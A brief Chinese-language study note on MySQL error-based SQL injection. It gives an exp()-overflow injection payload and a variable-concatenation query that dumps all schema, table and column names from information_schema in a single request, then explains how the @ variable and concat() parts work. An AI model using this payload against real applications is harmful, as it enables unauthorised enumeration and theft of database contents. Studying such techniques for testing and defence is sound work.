Select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
explain:此处主要是展示一个exp报错注入的方法。但是此文中主要是学习另类的方式将tables和columns一起dump出来,属于偶尔在老外的论坛上看见,感觉这个sql语句写的很精妙,可以直接用下面的语句输出:
select * from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@))
explain:此处将@作为一个变量,@:=0,将@等于0,换为其他的字符测试不行,比如#$等字符不可以。
database()函数列出当前的数据库名
select concat(@:=0,@); 输出结果为00
table_schema,table_name,column_name能够输出源于前面定位到table_schema位置